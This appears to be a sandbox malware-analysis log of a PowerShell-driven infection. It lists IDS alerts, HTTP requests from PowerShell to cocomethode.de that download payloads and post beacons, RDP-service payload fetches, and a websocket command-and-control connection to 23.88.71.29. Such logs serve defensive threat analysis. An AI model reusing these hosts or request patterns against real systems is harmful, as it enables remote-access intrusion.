30 00 30 00 0d 00 0a 00 22 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 37 00 22 00 0d 00 0a 00 22 00 44 00 69 00 73 00 70 00 6c 00 61 00 79 00 4e 00 61 00 6d 00 65 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 38 00 22 00 0d 00 0a 00 22 00 45 00 72 00 72 00 6f 00 72 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 22 00 3d 00 64 00 77 00 6f 00 72 00 64 00 3a 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 31 00 0d 00 0a 00 22 00 46 00 61 00 69 00 6c 00 75 00 72 00 65 00 41 00 63 00 74 00 69 00 6f 00 6e 00 73 00 22 00 3d 00 68 00 65 00 78 00 3a 00 38 00 30 00 2c 00 35 00 31 00 2c 00 30 00 31 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 33 00

Source: Joe Sandbox View	IP Address: 104.21.1.51 104.21.1.51
Source: Joe Sandbox View	IP Address: 23.88.71.29 23.88.71.29

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49740 -> 104.21.1.51:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49742 -> 104.21.1.51:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49744 -> 104.21.1.51:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49757 -> 104.21.1.51:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49763 -> 104.21.1.51:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49768 -> 104.21.1.51:443

Source: global traffic	HTTP traffic detected: GET /fbJ5ex HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/190 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bafad2e63e06195adc3d6c7b0625fed05f HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303
Source: global traffic	HTTP traffic detected: GET /file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae10afda605b274c86a537ac904c1ece8 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303
Source: global traffic	HTTP traffic detected: GET /file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20cbc872b7a211556734d HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 85
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20cbc872b7a211556734d HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 86
Source: global traffic	HTTP traffic detected: GET /file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20cbc872b7a211556734d HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 62
Source: global traffic	HTTP traffic detected: GET /file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 140
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 69
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 200
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 97
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 64

Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /fbJ5ex HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/190 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/74 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/TermServiceTryRun/22 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: rGSWxZ10F0Sv0aijWMtUlQ==Sec-WebSocket-Version: 13

Source: global traffic

DNS traffic detected: DNS query: cocomethode.de

Source: unknown

HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bafad2e63e06195adc3d6c7b0625fed05f HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303

Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: powershell.exe, 00000007.00000002.3248625933.0000020914FDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cocomethode.de
Source: svczHost.exe, 00000014.00000002.4689693534.000001EB4E8AF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cocomethode.de:443/
Source: powershell.exe, 00000002.00000002.3135467579.000002D342EE7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3442091640.0000016218295000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3288925218.000002092C42E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3581394319.0000027D0CED4000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4688083630.000001EB4B8CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000002.00000002.3135182239.000002D342E90000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3442091640.0000016218295000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3288925218.000002092C412000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3579944391.0000027D0CE92000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4688083630.000001EB4B8CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000007.00000002.3292179580.000002092C78E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microso
Source: powershell.exe, 00000007.00000002.3292179580.000002092C806000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsof
Source: powershell.exe, 0000000C.00000002.4371394031.0000027D26240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.nH
Source: powershell.exe, 0000000C.00000002.3582263211.0000027D0CF19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.osofm/pk
Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000002.00000002.3132340803.000002D33AF37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3118500948.000002D32C179000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3132340803.000002D33AE00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3432360033.0000016210368000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3432360033.00000162101D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3284112266.0000020924396000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.000002091587F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4212100544.0000027D1D096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.3248625933.000002091581E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.3118500948.000002D32AFAB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3346172809.000001620038B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngXz
Source: powershell.exe, 00000002.00000002.3118500948.000002D32C11C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3118500948.000002D32C0E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.00000209157F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.000002091581E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngh
Source: powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D5A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: svczHost.exe, myRdpService.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY
Source: powershell.exe, 00000002.00000002.3118500948.000002D32AD81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3346172809.0000016200161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D021000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D5A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000007.00000002.3248625933.0000020915727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000007.00000002.3248625933.000002091581E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3290670500.000002092C6AC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.3118500948.000002D32AFAB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3346172809.000001620038B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlXz
Source: powershell.exe, 00000002.00000002.3118500948.000002D32C11C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3118500948.000002D32C0E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.00000209157F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.000002091581E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlh
Source: myRdpService.exe	String found in binary or memory: http://www.gstatic.com/generate_204
Source: svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204y
Source: powershell.exe, 0000000C.00000002.3581394319.0000027D0CF03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micro.com/pki/certs/MicRooCerAut_2010-06-23.crt0
Source: powershell.exe, 00000002.00000002.3135467579.000002D342EE7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3442091640.0000016218295000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3288925218.000002092C42E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3581394319.0000027D0CED4000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4688083630.000001EB4B8CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1D32F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF633F82000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: svczHost.exe, myRdpService.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: myRdpService.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: powershell.exe, 00000002.00000002.3118500948.000002D32AD81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3346172809.0000016200161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.3346172809.0000016201AB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.X
Source: powershell.exe, 00000003.00000002.3346172809.000001620038B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914FA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D3F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0EB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de
Source: powershell.exe, 00000003.00000002.3346172809.0000016201AB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa
Source: powershell.exe, 00000003.00000002.3346172809.0000016201A93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57f
Source: powershell.exe, 0000000C.00000002.3583033672.0000027D0D42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0EB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8
Source: powershell.exe, 00000003.00000002.3346172809.0000016200852000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20
Source: powershell.exe, 00000003.00000002.3346172809.0000016200785000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae10afda605b27
